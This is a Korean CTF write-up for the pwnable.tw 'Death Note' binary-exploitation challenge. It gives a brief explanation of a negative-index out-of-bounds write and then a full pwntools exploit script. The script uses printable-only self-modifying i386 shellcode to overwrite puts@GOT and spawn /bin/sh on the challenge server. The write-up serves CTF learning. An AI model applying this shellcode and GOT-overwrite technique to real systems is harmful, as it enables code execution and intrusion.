[pwnable.tw]Death Note

nx가 안걸려있다. 쉘코딩을 해주면 되는 문제다.

[*] '/vagrant/ctfs/pwnable.tw/death_note/death_note'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

printable한 범위의 글자밖에 사용못한다. 그리고 OOB가 터진다. 음수는 검사하지 않아서 원하는 주소에 값을 쓸 수 있게 된다. 그래서 puts@got에 값을 덮어서 쉘코드가 실행되게 하면 된다.

쉘코드 어떻게 짰냐면execve("/bin//sh"); 하기위해서 /bin//sh 를 스택에 push해주고 ebx에 값을 넣어주고 edx에 있는 주소 이용해서 쉘코드 뒤에 eip 다음 주소를 cd80으로 만들어줬다.

exploit.py

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'
e = ELF('./death_note')
#p = process('./death_note')
p = remote('chall.pwnable.tw',10201)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
note = 0x0804A060

def add(idx,name):
	sa('Your choice :','1')
	sa('Index :',str(idx))
	sla('Name :',name)

def show(idx):
	sa(':','2')
	sa(':',str(idx))

def delete(idx):
	sa(':','3')
	sa(':',str(idx))

# b*0x080487EA
shellcode = asm('''
push 0x33
pop eax
xor al, 0x33
push eax
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx

push 0x33
pop eax
xor al, 0x33
dec ax
xor al, 50
push eax

push edx
pop eax
xor al, 32

pop edx

xor al, 40
xor [eax+0x46], dl

push eax
push edx
pop eax

xor al, 0x4d

push eax
pop edx
pop eax

xor [eax+0x47], dl

push 0x33
pop eax
xor al, 0x33
push eax
pop edx

push eax
push 0x40
pop eax
xor al, 75
''')

# b*0x080487CA
show(-32/4)
stdin = u32(p.recvuntil('\x0a')[-5:-1]) # _IO_2_1_stdin_+72
log.info('_IO_2_1_stdin_ : {}'.format(hex(stdin)))
libc_base = stdin - 0x1b25e8
log.info('libc_base : {}'.format(hex(libc_base)))
offset = (e.got['puts'] - note) / 4
show(offset)
log.info(str(offset))
#raw_input()

print hexdump(shellcode)
add(offset,shellcode)

p.interactive()